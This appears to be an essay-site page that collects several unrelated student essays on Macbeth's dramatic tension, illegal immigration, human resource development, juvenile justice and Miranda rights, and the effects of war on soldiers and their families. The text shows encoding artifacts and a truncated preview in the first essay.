Dramatic Tension in Macbeth Essay -- Macbeth essays

Dramatic Tension in Macbeth  Ã‚   Shakespeare’s play ‘Macbeth’ is set in Scotland during the rule of king Duncan. Macbeth has fought his way up the ranks of the army to become one of Duncan’s most trusted Lords. An encounter with three witches puts wickedness into the heart of an otherwise noble and loyal Macbeth.   Shakespeare’s brilliant use of dramatic irony, the supernatural, and indecision produce a dramatic tension that keeps the audience on the edge of their seats throughout the play. In act 1, scene 1, a scene of three witches confronts us. This alone would have created mystery and fright to the audience, setting the scene of the play to come. ‘Macbeth’ was written in a period when there was a high interest in witchcraft and the supernatural. People were confused and scared by the supernatural, so the sight of three witches would have told the audience that the play would be full of evil and lies. This scene is a short opening to the play. It is long enough to awaken curiosity, but not to satisfy it. The mood of the play is set, although the action and the introduction of the leading characters do not start until the next scene. In act 1, scene 2, we learn about the tough battle which Macbeth and Banquo have fought, and win for the victory for Scotland. Duncun rewards Macbeth for his courage by giving him the title ‘thane of Cawdor’, â€Å"†¦with his former title greet Macbeth.† Let us not forget that a ‘most disloyal traitor’ first owned this title. This scene tells us that Macbeth is thought of as a brave and valiant man because he has killed so many people and won the battle almost single-handedly. The language used is quite horrific and the deaths of Macbeth’s victims are explained in all their gory detail. Th... ...gers. She then lays them ready for Macbeth. She would have murdered Duncan herself if he had not resembled her father. Macbeth returns having murdered Duncan. Shakespeare’s use of language and structure manages to create tension right up to the murder of King Duncan. He manages to gradually build it up and then release it a little, and then increase it until finally the act of regicide takes place. His use of dramatic irony, the supernatural and indecision all combine to keep the audience on the edge of their seats throughout these scenes. His use of the right language in the right places helps the characters and the play to become really believable. Throughout the play, the supernatural plays a major role. A wise choice by Shakespeare at the time and it still works today. Works Cited: Shakespeare, William. Macbeth. Toronto: Oxford University Press, 1977.

A persuasive essay on Illegal Immigrants

Are illegal aliens a problem of immigration? A purported view is immigration is not the problem, but rather the control and enforcement of immigration. In any country, the unchecked and illicit inflow of people can pose a challenge to that country's sovereignty.Rich countries have three major concerns when it comes to immigration. First, there is the belief that it causes wage inequality by a reduction in wages for domestic worker due to competition from immigrants. Next, there is the pressure it puts on facilities like schools and services like healthcare and welfare payments. This pressure is borne by taxpayers. Finally, especially post-911, there is the concern that there could be incidences of enemies hosted in immigrant communities.Another increasing concern is the amount of money crossing borders by way of remittances to extended family. Worker remittances from the US to Mexico came up to $16.6 billion last year. This amount is second only to petroleum in the US export revenues .The financial burden that illegal immigrants put on a country cannot be underestimated. The Federation for American Immigration Reform estimated a $7.7 billion spend a year in California to educate illegal immigrants and their children. The State of California also spends yearly $1.4 billion on health care and on illegal immigrants in prison.The major reason for illegal immigration is that the supply does not meet the demand. In the US, there is provision for 675,000 visas a year for permanent residence. 480,000 of these are available for the family reunification, 140,000 are based on employment. Humanitarian visas awarded to refugees were at a maximum of 70,000 in 2004. The diversity lottery gives out another 50,000 visas to citizens of countries that have sent fewer than 50,000 migrants in the previous five years.Different countries like Spain, France and the US have varying experiences of illegal aliens.Spain has its own share of trying to control the entry of illegal aliens ont o its shores. Sub-Saharan Africa sees the neighboring country as the closest refuge. 5,000 clandestine immigrants, trying to escape the consequences of a population that far outstrips it economic capability, have crossed the border with about 1,000 drowning as the board fragile fishing boats to make their way to the Canary Islands.Since France does not have the US advantage of a flexible labor market and stingy welfare state, it has ended up with a resentful immigrant underclass with time on its hands. France today has a low proportion of skilled immigrants.The French interior minister, Nicolas Sarkozy, is working on reversing this trend. He is proposing a managed, high-skilled, demand-led immigration policy by introducing a selective immigration policy with quotas for workers, students and families and allowing entry to those who have the means to support a family.This policy would involve opening up the borders to more skilled workers while clamping down illegal aliens through a c loser watch on bogus marriages, increased deportation and scrapping the automatic right to stay after 10 years of being in France illegally.There are some 12 million illegal immigrants in the U.S., most of them employed. In the US, most illegal immigrants are day laborers, 50% of whom are employed by homeowners. A lot of these day workers see themselves as victims of unemployment and of a failed immigration system. It is being said that tight legal controls have driven Latinos to illegality and across the U.S., 117,000 undocumented immigrants, the majority from Mexico, gather daily, looking for work.My personal experience is that illegal immigrants go after the jobs that citizens are not likely to be interested in like agriculture, landscaping, and housekeeping and most people are not averse to hiring them.

Literature review on contemporary HRD Essay

Critically discuss and evaluate current perspectives on the changing role and nature of training and learning in organisations and human resource development. This should include a critical appraisal of key theoretical perspectives on the strategic role of HRD within contemporary organisational contexts Within this submission, I have illustrated the changing role and nature of training and learning within context of a learning organisation. Training and learning in organisations. So what do we mean by training and learning within an organisation? One view is that it is about developing a learning organisation, an ‘organization that is continually expanding its capacity to create its future. For such an organization, it is not enough merely to survive, ‘Survival learning’ what is more often termed ‘adaptive learning’ is important, indeed it is necessary. But for a learning organization, ‘adaptive learning’ must be joined by ‘generative learning,’ learning that enhances our capacity to create’. Senge (1999:14) Further support for this ‘generative’ view is seen in Wick and Westley (1996) who take the perspective that a learning organisation should be seen against the backdrop of its culture. Arguing values, beliefs, feelings, artefacts, myths, symbols, metaphors’ form part of any approach taken by a learning organisation. It arguably impossible to clinically define what a learning organisation consists of in a generic form. By creating a learning organisation you create a learning climate, thus hopefully a training and learning culture. Senge takes the view that, what fundamentally will distinguish learning organizations from traditional authoritarian â€Å"controlling organizations† will be the ‘mastery of certain basic disciplines. That is why the â€Å"disciplines of the learning organization† are vital’. Senge (1999: 5). However, it is to be noted that Senge uses the word discipline to mean a set of practices rather than a rigid system of rules, which is often inferred understood in the modern use of the word. Going on to comment, ‘To practice a discipline is to be a lifelong learner. You never arrive; you spend your life mastering disciplines’. Senge (1999: 11) Futher confirming the view that, this area of management study is far from being a science, but he does present offer a few guiding principles in his best selling book, The Fifth Discipline, ‘Have realistic goals, challenge your assumptions, commit to a shared vision and that teamworking is good for you. We see here the dualistic approach of both the need for the organisation and the individual to become intrinsically involved in the concept. Although a popular view, others have felt that organisation learn in there own right, almost biologically. Schon for example sees organisations as, ‘repositories of knowledge’ independent of their members (Schon, 1983:242). There is a wide school of thought that learning organisations develop and are not imposed, ‘†¦as cultures develop and alter their expectations, (an example of which would include the demise of unions and the capitalist ideology of the Thatcher years) so must organisations change that employ within that culture.’ (Schon, 1983). Further cultural identities in terms of sector, product or organisations must also be taken into account, highlighted by the work of both Argyris (1960) and Hofstede (1994). One mistaken view is that the term a ‘learning organisation’ is a new concept. It is certainly true that as the world changes new approaches must be investigated to maintain both personal and organisational survival. However, the idea that organisations have only recently had to deal with changing situations, both operationally and strategically, is clearly absurd. Only the pace and scope of change in the last 50 years has brought the spotlight on organisations managing its human resource in a more effective manner. It remains a truism that it is not an argument about leaning and development, after all we have all learnt and development within any organisation we have been in contact with either consciously or subconsciously. The argument must surely be how we identify, focus and deliver that learning in an organisational context to produce value to the individual and therefore hopefully the organization. A view highlighted by Argyris and Schon (1974) Historically this point is confirmed, ‘We trained hard†¦ but it seemed that every time we were beginning to form up in teams we would be reorganised. I was to learn later in life that we tend to meet any new situation by reorganising†¦Ã¢â‚¬â„¢ Caius Petronius, AD 65. However, the key element of a learning organisation is that it is about people and how they learn, develop and ultimately (or hopefully) contribute to the organisation. The link with HRD is therefore both binding and key in determining how T&D takes place in an organisation. Yet we still come back to what is a learning organisation. One simple view that will form the basis of my assignment is, ‘A learning organisation can, in plain terms, be described as an organisation which anticipates changes in its environment by learning on a strategic level; deliberately aims at improving its ability for learning and which, in order to learn on a strategic level, makes use of the learning of all employees, therefore this employee learning is enhanced at all hierarchical levels. (Sambrook and Stewart, IDPM Paper 1999). Therefore, it can be argued that the development of a learning organisation the most important factor in the changing role of T&D within organisations. Human Resource Development (HRD) Having settled on a broad view of what a learning organisation is, fitting it within a HRD context can only be achieved if we understand what we mean by HRD. In a learning context, HRD has been described as, ‘Organised learning experiences in a definite time period to increase the possibility of improving job performance growth’. (Nadler and Nadler, 1990:1.3). However, HRD covers a much wider field, ‘HRD is the integrated use of training and development, career development, and organisation development to improve individual and organisational effectiveness. (McLagan and Suhadolnik, 1989:10). A further view, ‘HRD is a process of developing and/or unleashing human expertise through organisation development (OD) and personnel training and development (T&D) for the purpose of improving performance. Swanson (1998) confirms this view that HRD is about the relationship of individuals with the organisation in a learning environment. But surely, HRD can be defined more accurately? Presently there is no universal view or agreement on the theory or multiple theories that support HRD as a discipline. On one hand some have called for systems theory to serve as a unifying theory for HRD to access all useful theories as required (Gradous, (1989) and on the other hand many have proposed sets of principles in the forms of comparative lists of added value, products, processes, and expertise (Brethower, 1995). The alterative to having a sound theoretical and disciplinary base for the HRD profession is the present state of ‘rudderless random activity aggressively sponsored by a theoretical professional associations and greedy consultants’ (Micklethwait & Wooldridge, 1996; Swanson, 1997). This view, it is argued, is a short-term sell of perceived success without having a deep understanding of the key components of the concept. ‘For this reason, a discrete and logical set of theories as the foundation of HRD is proposed. It is comprised of psychological theory, economic theory, and systems theory’ (Passmore, 1997; Swanson, 1995, 1999). Economic theory is recognised as the primary force at the organisational level with the systems theory recognising the importance of direction, politics and purpose that could affect any organisational system. Psychological theory acknowledges human beings as a resource, whilst trying to understand the behavioural patterns that must be taken into account, opening the HRD function up to new ideas and concepts such as NLP and EQ. It is believed by Passmore, Swanson et al. that these three theories, more than any others, make up the modern view of HRD. Development of HRD Early incarnations of HRD concerned themselves with a personal management function, ‘Personal management function at an administrative level, independent of commercial realities, into a concept that has become central to the strategic and commercial success of the organisation.’ (Huczynski and Buchanan, 2001: 668) However, as organisations adapted to change and new ways of thinking so did its human resource function: 1964-70 – systematic approach to diagnosis of training 1968-75 – standardization training for job categories by industry. (Such as motor, construction and social work) Thorough off-job basic education for skilled occupations 1970-75 – systematic planning of training for all categories of employee 1974-80 – company contribution to training for young people and long-term unemployed to meet national needs 1979-90 – business-orientated training directed at improving organizational effectiveness (value added) 1988 – present – personal development with individualized plans for which each employee and their boss take responsibility. Sambrook & Stewart IDPM Paper (1999) The last of these observations highlights a move away from organisational directed learning, as it sees the individual start to take more control of their own development needs. Due to the differences in organisational needs, cultural context organisational structure and resources available, the concept of the individual taking more responsibility for their development is a significant shift away from earlier ideas. Additionally, there has been a shift in the last decade from organisations training to meet competence voids, towards a more learning environment that relies on experiential learning and self direction. It is argued, such an approached, does not limit itself to training, ‘†¦but stretched to facilitating and supporting learning processes within the organisation, with the aim to contribute to meaningful organisational learning processes. Sambrook & Stewart IDPM Paper (1999) This clearly has an impact on the concept of HRD and any approach it may take within an organisation. (cf. case study research by Tjepkema & Wognum, 1995). Once again, it can therefore be argued, that a key role of HRD is to create and/or maintain a learning organisational environment as the foundation to any training and learning within an organisation. Yet even with this backdrop, many commentators still take the view that HRD should be subject to tight quantitive justification, that HRD needs to demonstrate that their activities add value to the organisation which is their paymaster. (Walton 1999: 1). However, Walton falls short of believing that value is the only issue in developing a learning organisation through a HRD function. Yet there remains a broad body of support that does lean towards this view. Swanson and Arnold (1997) consider that HRD in an organisational context has no meaning unless the connection is made to performance. A point echoed, Welsh 1998 who contends, ‘An employer doesn’t teach for the sake of learning †¦ What are the rewards?’ (Welch, 1998). With Mayo adding softness to the argument by involving a learning process to the HRD list of ingredients, ‘there needs to be a systematic method of linking business goals with the learning process. Mayo 2001: 82 However, there remains a danger that the HRD function, however defined, becomes over indulgent, becoming the end rather than the means to add some value to the sponsoring organisation. Maybe it is this fear, which when added to high-level managerial naivety of modern HRD approaches, which has seen many a HRD organisation become the first casualty of any downsizing. But why has the evolution of HRD been necessary? Quite simply the world of people and the environments in which they work has changed. A decade ago, Peter Drucker anticipated this change when he said in The Age of Discontinuity. ‘Businessmen will have to learn to build and manage innovative organizations.’ Others continue to see change. Ansoff, a long-time student of business strategy, adds as he envisages organisations reducing its reliance on structure: ‘†¦ Structure will become a dynamic enabler of both change and unchange, the ultimate model of ‘organised chaos’. (Peters and Waterman Jr, 1995: 111) Thus asking the question, can HRD stand still in a world of chaos or will is need to develop further new strategies to protect its value to a given organisation? The world is changing and as long as the interpretation and subsequent management of the change is influenced by human organisations the HRD function, however loosely defined, will need to continually adapt if it is to both manage and influence organisational direction if it is find a place in this ever changing ‘chaos’. Strategic HRD With a change in the type of work being undertaken in the western economy over the last 50 years, less ‘dominated by labour-intensive, low-tech industries with semi-skilled operatives, to high-tech industries reliant on highly skilled knowledge workers in relatively short supply, individuals are now seen as the single most significant source of sustainable competitive advantage.’ Walton (1999: 85) The role of HRD has therefore needed to change to provide the level of support required from its parent organisation. The management, retention and developing of this organisational resource, ‘knowledge workers’,(Wilson 1999) has taken on greater importance at higher managerial levels. A reflection of this is the fact HRD/HRM in many large organisations plays a much more important role at boardroom level, contributing to the overall organisational strategy. But does a HRD manager sitting on the Board make HRD strategic? Walton (1999) argues that for HRD to become strategic is needs to be HRD with a holistic, long-term approach, that may or may not develop a strategic awareness of company goals. He defines the term as one, ‘undertaken with full strategic intent, with an understanding how the initiative being undertaken adds to the coherence of the SHRD effort, congruent with an explicit learning philosophy incorporated into the overall organisation mission’ In short, for it to be strategic the HRD function needs to be holistic with a function to integrate and develop into the overall strategic management system. A little clarification comes from Burgoyne 1988, ‘†¦strategic approach has to be conscious and reflective; unplanned, interpersonal and functional experiences cannot be classified as strategic in organisational terms unless explicitly linked to implementation of corporate policy.’ However, Burgoyne does takes the view that such an approach should be linked to the hard systems of HRD such as planning, recruitment and selection strategies, feeling that a more objective approach is better implemented and quantified within an organisation. As Harrison (1997) points out, ‘despite the hype that surrounds a number of organisations where the planned development of people has made a notable contribution to the achievement of business goals†¦research has failed to reveal any significant connection between HRD and business strategy across the UK.’ An example of a SHRD approach was for many organisations the move toward individual responsibility for there own learning, ‘At the beginning of the decade the strategic attention was focused on self-managed learning, continuous personal development, learning organisation and the people messages associated with Total Quality Management (TQM). Walton (1999: 85). Nearly 15 years later many organisations are still working at getting this message across to a workforce that has not fully grasped the concept. The debate about turning strategy into practice remains an issue that continues to find its way into many Board rooms and commented on by many and varied management writers. However, because SHRD has taken a holistic view, fully integrated into the organisational management strategy, is that all that is needed for HRD to become SHRD. Wilson (1999) argues that HRD will deal with detail whilst modern SHRD should do no more than provide a framework for guidance, a point touched on by Mayo, ‘ †¦the task for HQ†¦is to determine the frameworks of best practice which will enable diverse and locally owned implementation, and to provide consultant help built round the local need,’ putting the view that organisations operate better when decentralised and given there own accountability and responsibly. It is clear in this scenario that anything other than a SHRD framework would be difficult to implement. An example of such a framework maybe, ‘a successful learning climate’ Walton (1999: 11) Conclusion Over the last decade, the role of HRD has both, found a niche and come under fire in organisations trying to compete in an ever changing political, economic and cultural environment. Add globalisation, demographic changes and the ever changing world of information technology (IT) and not surprisingly, HRD has had to both adapt and show direction in its approach and function in modern organisations. Balancing between both an art and a science it has had to prove its value to organisations in what ironically is the very environment it should be showing its main worth – managing the human resource in a world of constant change in compressed markets. The struggle of organisations to produce strategy in Tom Peters world of innovation and creativity, often results in the crisis, tactical, and short term approach taken by many organisations that often goes on to see HRD as the first enemy target of this struggle. The need for definition and justification for a HRD component remains more real today than at any time if it is not to been see as a luxury component in a volatile world that, arguably under pressure, relies more on economic stability than a humanistic resource development approach that often produces results beyond a strategic planning horizon. However, HRD is not a science, and as such will continue to change, develop and find new roles in the adapting, fast moving world of the modern working environment.

Criminal Law Foundations evaluation paper Essay

The Juvenile Justice System Juvenile justice is the section of law that applies to persons under the age of 18 not capable of receiving sentencing in the adult court system or old enough to be responsible for criminal acts committed in society. In most states the age of criminal culpability is 18 however, the age requirement can be set lower in accordance to certain crimes and statutes set by the state the juvenile lives in. Juvenile law is primarily run by state law and most states enforce a specific juvenile code the system follows. The juvenile justice system primarily focuses on rehabilitation rather than punishment for youthful offenders. Society appears to concentrate that children are more capable of change than adult offenders more capable of knowing right from wrong (â€Å"Cornell University Law School,† n.d.). The statutes creating the juvenile court systems and methods of allocating with juvenile delinquency are run by courts as a suitable extension of state police power to warrant the safety and welfare of children in the system. The doctrine of parens patriae allows the state to promulgate for the safeguard, care, custody, and upkeep of children within its jurisdiction. In 1968 the Juvenile Delinquency Prevention and Control Act was put into effect, and in 1972 it was put into revision as the Juvenile Delinquency Prevention Act. This act set forth to assist states in dealing with juvenile delinquent acts and assist communities to prevent delinquency by providing services to the community and youths in high risk of subduing to criminal activity (â€Å"Cornell University Law School,† n.d.). The Federal Juvenile Delinquency Act describes juvenile delinquency as an act that is a criminal but is set forth by a youth under 18 years of age. It applies rules that state laws must abide by with concern to juvenile court processes and reprimands (â€Å"Cornell University Law School,† n.d.). Comparison of Juvenile and Adult Courts There are major differences in procedure between the juvenile and adult court systems. In the juvenile system the defendant does not receive a jury trial. The juvenile goes before a judge who decides if a law was broken and what the appropriate punishment is for the youthful offender. Bail that is also commonly used in the adult system is normally not given to minors in the juvenile system. For a juvenile to be free before adjudication, he or she must prove, they are not a flight risk or a further danger to society. Juvenile courtrooms, unlike adult courts are also not open to the public or media because of preserving the privacy of minors in the system (â€Å"Just Cause Law Collective,† 2007). Oddly, punishments for juveniles for smaller offenses are sometimes more strict than an adult would face. Probation sentences can be much longer and have many additional terms, such as keeping up grades in school, obeying his or her parents, and abiding by a curfew. Juveniles facing punishment for more serious offenses however do stand a better chance of early release where most adult offenders could face up to life in prison for the same crime. This happens as a result of most juvenile sentences ending once the youth reaches his or her twenties (â€Å"Just Cause Law Collective,† 2007). Constitutional Safeguards Criminal juvenile proceedings are kept private when the criminal is juvenile. Juvenile records are also sealed when the juvenile becomes an adult. Names are on ice from newspapers and news reporters unlike in adult criminal cases. Court cases for juveniles are secure to the public with only people pertinent to the case being allowed into the courtroom to protect the identity of the juvenile. Safeguards for juveniles differ from those of adults because juvenile proceedings are kept private whereas those for adults are open to the public. The identity of an adult is public record and their crimes do not get sealed away after a certain amount of time. While juveniles seem to be safe more than adults there are safeguards in place to protect adults as well, such as double jeopardy, which means a person cannot be in accusation for the same crime twice. If adult and juvenile case procedures were the same many juveniles would have criminal records going into adulthood for minor offenses or even just mistakes in judgment that could affect his or her future. Adults have a better understanding of the laws and what is right and wrong in addition the consequences of their choices than juveniles do. A juvenile waiver is occurs when a judge transfers a juvenile into the adult court system. This method releases the juvenile from any protection the youth would have under the juvenile court system. At this point the child is put through the same court process an adult offender would face. In most states the average age a youth would be set forth into the adult system is 17; however in some cases children as young as 13 have faced adult trials. Normally a waiver into the adult courts is put into effect because of a long history of offenses by the juvenile or if the crime is well thought-out to be serious or severely heinous. In 1997 28 states had already put into exclusion the offense of murder from the juvenile system. This meaning that a youth would be sent directly into the adult system if he or she was facing such a charge. This number is most likely going to increase that has put more emphasis on the debate of juveniles sent into the adult system. According to â€Å"Findlaw† (2012), â€Å"Some states also have a legal provision which allows the prosecutor to file a juvenile case in both juvenile and adult court. This takes place when the offense and the age of the youth meet certain criteria. Prosecutorial transfer does not have to meet the due process requirement. Approximately 15 states currently have this provision† (Juvenile â€Å"Waiver† (Transfer to Adult Court)). The most land marking case guiding juvenile waivers is Breed vs. Jones that took place in 1975. This case set forth the rule that a youth cannot be adjudicated in the juvenile system and waived into the adult system. This protects the youth under the double jeopardy law. Realistically this case appears not to have much impact on the juvenile system because juveniles can go through a waiver hearing similar to a trial except for the outcomes (â€Å"Findlaw,† 2012). Remanding Juveniles to Adult Courts Over the last several decades remanding a youth into the adult court system has grown in popularity. The public and courts have made it very easy to take a child out of the juvenile system and place him or her into the hands of the adult courts. Most members of society see these measures as a form of fear because of the increase in violent crimes that today’s youth are participating in. State legislatures enacted statutes that extended the age and offense reach of judicial waiver, legislative waiver, automatic transfer, and prosecutorial discretion and concurrent jurisdiction policies that in return has paved the road of sending children into the adult system very smooth. Some states have provisions in which a child can be sent to adult courts regardless of the offense (â€Å"Campaign for Youth Justice,† 2010). Studies prove that more than 200,000 youths under the age of 18 face sentencing in adult courts. Despite that there has been a decrease in juvenile crime over the past few years; provisions making it easier to prosecute juveniles in the adult court system keep increasing. In today’s current time it appears the scale-weighs in favor of punishing children instead of rehabilitating them into productive members of society (â€Å"Campaign for Youth Justice,† 2010). The Miranda Warning The Miranda Warning is a police notice set to criminal defendants brought into custody of law enforcement in the United States before they can ask questions in regard to what took place during the crime they are facing charges with. Law enforcement officials can only ask for precise information such as name, date of birth, and address without reading the suspects his or her Miranda warnings. Confessions and other information that an individual provides him or her will not be well thought-out admissible evidence unless the individual is aware of and give up his or her Miranda rights. Threatening or forcible methods of police interrogation were once generally referred to as undergoing the third degree. Today, as defense against any likelihood of police intimidation, society has the Miranda Warning (â€Å"Mirandawarning.org,† 2010). In 1968 the final version for the Miranda Warning was set by California deputy attorney general Doris Maier and district attorney Harold Berliner. Before the establishment of the Miranda Warning, confessions had only to be intentional on the suspect. This made a difficult situation for law enforcement, who often met with evidence at trials that the defendant was not of sound mind or were under indirect pressure when he or she gave his or her confessions. The Miranda Warning protects society’s rights by clarifying his or her choices clearly and supports police power when law enforcement properly reads the Miranda Warning and gets clear, intellectual answers that the suspect understands his or her rights as they have been clear up. The Miranda Warning is a legal requirement all over the United States, and differs only slightly in wording in different states (â€Å"Mirandawarning.org,† 2010). References Campaign for Youth Justice. (2010). Retrieved from http://www.campaignforyouthjustice.org/documents/UCLA-Literature-Review.pdf Cornell University Law School. (n.d.). Retrieved from http://www.law.cornell.edu/wex/Juvenile_justice FindLaw. (2012). Retrieved from http://criminal.findlaw.com/juvenile-justice/juvenile-waiver-transfer-to-adult-court.html Jones, W. G. (2006). U.S. Departemnt of Health and Human Services. Retrieved from http://www.childwelfare.gov/pubs/usermanuals/courts/chapterfour.cfm Just Cause Law Collective. (2007). Retrieved from http://www.lawcollective.org/article.php?id=64 MirandaWarning.org. (2010). Retrieved from http://www.mirandawarning.org/

Impact of Wars on Military Society: The Soldiers and their Families Essay

Wars have been part of human history. What shaped the society that is perceived in this time is a result of conflicts and rivalries that occurred in the past. In almost all places on earth, the scars of war and of battle continue to be seen and commemorated. People are divided in this concept of war. For some, it is a way of life and a means of achieving peace and promoting security in the homeland. For some, it is a conflict of opposing forces where nobody wins, but rather, results into crises and extreme loss of life. Publicists have various definitions on war. According to a book entitled, â€Å"On War† written by General Carl Von Clausewitz, war is simply defined as nothing but a duel between two opposing forces but in an extreme scale. It is a struggle between two sides, whose aim is to apply physical force and compel the opponent to surrender and submit, as well as render him unable to engage in further resistance. It is an act of violence towards another in order to fulfill one’s will (2008). Basically, in war, there is violence. Thus, there is always the possibility of death to even an immense scale. In times of war, a lot of elements are affected such the economy, security, the family, and most importantly, the soldiers themselves. During World War II, there were seemingly immeasurable number of deaths both from the allied forces and the axis powers. The event shook the world and created chaos in various countries around the world. Economies crumbled and government policies were disorganized. In the military society, a large number of soldiers were lost that left their families with trauma to even psychological disorders. This paper discusses these impacts of war on the military society, particularly on the soldiers themselves, as well as their families. Because of the advancement in technology and the increasing lethalness of military weapons, a posing threat emerges for individuals who are deployed in warfare. The environment has become more aggressive. The Effect of War on Soldiers In every war, the most proximate effects are felt by the soldiers. The disorder now called as Post Traumatic Stress Disorder had its roots in World War II. Back then the condition was referred to as battle fatigue. Although cases of the condition were already reported ever since the Civil War, the occurrences were very minimal because of the conflict was waged within the soldiers’ own country. Other than that, the weapons used during that time were not as sophisticated as the weapons in the 21st century. During the First World War, this condition was also evident when the Germans introduced â€Å"gas† warfare. However, it was only during the Second World War that information regarding this condition was widely known (Chermol, 9). During World War II, the most common condition was the mild and non disabling battle fatigue. During initial combat operations, dramatic but transient battle fatigue was eminent. More intense cases were referred to as â€Å"Old Sergeant’s Syndrome† which includes physical and psychological burnout that lasted months after combat (10). For the marines and the aviators, the symptoms of battle fatigue they experienced consisted of increased emotionality, sleep disturbances, fatigue, and exaggerated startled response to sudden movements or noises along with some physical complaints (10). Post Traumatic Stress Disorder became the most common disorder in the military since after its recognition. In a report by the Washington Post dated May 27, 2008, the number of cases for PTSD jumped dramatically to 50 percent in 2007 on US troops. This is because of the military buildup that existed in Iraq and the high level of violence in Afghanistan. According to the report, around 40, 000 troops were already diagnosed with the condition since the year 2003. In a statement, the officials said that there may be more because some military personnel simply refuse to reveal their condition. According to experts, many troops suffer from the symptoms of PTSD, particularly on stress. These include nightmares and flashbacks. They stated that these symptoms can be cured if the treatment is early (Jelinek). PTSD, along with other mental conditions was prevalent in military personnel. In the United States, PTSD was common among military personnel because of longer exposures to combat. In the recent years, as supported by the news article of Washington Post, the number of cases increased because of the increased military activity the country is involved in. The government has been involved in almost all wars since after WWII. Such wars include the Korean War, Vietnam War, the Gulf War, War on Afghanistan, and in Iraq. Soldiers had more combat exposures and some were even sent to two consecutive campaigns. The result is more soldiers deployed in hostile areas and longer combat exposure, increasing the risk of psychological and mental disorders. In an article written by Christine Liddell and Jennifer Kemp in the book â€Å"The Psychological effects of war and violence on children†, they pointed out that the effects of war does not necessarily mean that the soldiers have to be adults. The majority of armed conflicts since the 1970s have happened in the African continent. In most of these conflicts, the effects on children have not yet been documented. The situation in these areas is serious because of the fact that the armed conflict in Africa, children and the youth has found themselves in the front line and participates in the struggle (Leavitt). The only thing that may protect soldiers from experiencing stress leading to psychological disorders while in the front line is hardiness. Paul T. Bartone of the U.  S Military Academy at West Point, New York conducted a study on hardiness being a protection against war-related stress in the army reserve forces. After the Cold War, the number of military personnel has slowly decreased, putting great importance on reserve and National Guard units in the United States. The study explored the personality hardiness as a potential protection among army reserve personnel mobilized for the Persian war. Results of regression analysis showed that hardiness interacted with both combat-related stress and stressful life events. The results suggested that hardiness protects against the negative effects of stress. The study produced a number of implications for military personnel that encounter various types of stress such as battle fatigue and separation from their families (Bartone). On Military Families For every soldier that is deployed in the battle field, there is a family that is separated and also suffers from the effects of war. War results into families without fathers or mothers, husbands or wives. The family that is left behind also suffers certain conditions caused by situations such as separation or death of the soldier in battle. To some families, it leads to cases of divorce and marital conflicts. This section discusses the conditions that families of military personnel are experiencing because of war. Evidence suggesting these problems are provided by the study conducted by Joshua Angrist and John Johnson regarding the effects of work-related absences on families during the Gulf War. They used data from the 1992 Survey of Officers and enlisted personnel. They estimated the divorce rates, spousal employment, and children disability rates caused by the Gulf War. The results of the showed that there were no significant increase in the disability rates in the children of the deployed soldiers. For male soldiers, the deployment of female soldiers resulted to a significant increase in divorce rates and marital dissolutions. This suggests that the deployment of female soldiers causes a strain on marriages (Angrist). In the study, the results also suggested that the husband’s work supply is not affected by the deployment of the wives in war. The extended hours given to soldiers put stress on family relationships and create conflicts between husbands and wives regarding child and house care. These conditions increase the possibility for marital dissolutions that could affect the emotional and psychological well-being of the children. These effects are further supported by the study of Ernest Burgees on the effects of war on the American family. The impact of war upon the family can clearly be observed. These effects are significant in the ongoing process of family life. The observable effects of war include the withdrawal o f men from civilian and entering the military, resulting in to an increase in socially disapproved forms of behaviors. This entrance to the military by the male civilians forces the females to seek employment and enter the industry in order to replace the men that were enlisted in the armed forces. Thus, children begin to be neglected, increasing the number of cases of juvenile delinquency, changes in marriage, divorce, and high birth rates. More serious effects of war on the American family include the increasing trend towards the companionship type of family. It also raised the status of women as a more powerful force that gives support to the family since they engage in industrial jobs that make up for the absence of their husbands. Thus, parents begin to lose their function in the family, especially in their responsibilities towards their children. This resulted to the increase in the number of nursery schools for rearing and tending the needs of children in the preschool age and the extension of government interventions for family security. The family, therefore, experiences a significant shift from being an institution to becoming a companionship type of relationship (Burgees). The number of cases on juvenile delinquency is also one of the impacts of war on military families. In countries such as Canada and England, there has been a 40 to 50 percent increase in the number of youth related violence compared with the pre war years. In the United States, this situation is also manifested in Chicago and in Los Angeles where number of youth crimes have been increasing. This suggests that the effects are caused by the absence of a father, older brother, older sister, or mother figure in the family set up because of their deployment in the military or because of the need to work (344). The family shifts from the institutional to the companionship type because of the increasing number of fathers that are deployed in the military. The companionship type family is more modern since it is a contrast of the institutional, patriarchal type. Family members are no longer subordinates but are now free to engage in self-expression, since this type stresses the interpersonal basis of modern matrimony (347). Even wives of military personnel are exposed to psychological and mental disorders as much as their husbands who are at the front lines. In a study, the effects of combat trauma were investigated. The implications of combat-induced psychopathology were examined. The conditions investigated were wartime combat stress reaction (CSR) and Post Traumatic Stress Disorder (PTSD). The results showed that in a sample of 205 wives of Israeli combat veterans of the 1982 Lebanon war, both CSR and PTSD were associated with increased psychiatric symptoms manifested. PTSD was found to contribute to the wives’ social impairment in a number of contests such as feelings of loneliness, impaired marital and family relations, which extends to a wider range of their social networks (Solomon, et al. ). Hardships in the Modern Military Society In a report prepared by Kari Huus of MSNBC, the condition of American soldiers were revealed through testimonies given by families and other persons about the extended time of deployment given to enlisted personnel. According to the report, the U.  S military has stretched thin its military personnel after more than four years in Iraq and six years in Afghanistan. During this time, military personnel were repeatedly deployed in the warzone with decreasing dwell times between their postings have reached its toll on the families and loved ones of the personnel. Families are beginning to feel exhausted and stressed because of the separation that has been happening more frequently. Anxiety is also one of the problems experienced by families who are always waiting for phone calls from their loved one. According to one testimony by a wife of a soldier, she experiences fears of the worst kind as she imagines what if the calls would stop. The possibility that this would happen is when someone in the company has been killed and all phone lines are to be cut off until the closest kin to the dead personnel has been notified. The prolonged conflicts involved with the United States has forced it army to repeatedly deploy soldiers in the warzone. According to military experts, this sort of scenario was never intended to reach this level. As a result, soldiers begin to experience hallucinations and different psychological disorders which lead some military personnel to take their own life. The children of military fathers also suffer since they seem to sense a number of changes in their fathers after they have gone home after their deployment (Huus). Conclusions As stated in the previous pages, war is basically a duel between two opposing forces in order to resolve a conflict. The only difference is that war is being done in a massive scale. The consequences of this conflict are manifested in the lives of the members of the military society, particularly on the soldiers and their families. The impact of war on the soldiers consists of psychological and mental difficulties such as battle, fatigue, depression, and posttraumatic stress disorder. These conditions tend to endure in their lives even after the war, which can cause disturbances in other aspects of their lives, most especially on their families. As much what the soldiers are suffering, families left behind by soldiers also suffer emotional and psychological difficulties. Marital relationships have the potential to encounter problems and children also suffer from the absence of their father, mother, or older sibling, brought about by war. The studies and other literature in this paper suggest that the introduction of new interventions regarding troop deployment should be sought, as well as securing the emotional and psychological well-being of soldiers and families, while many still question the significance of war on the development of the society.

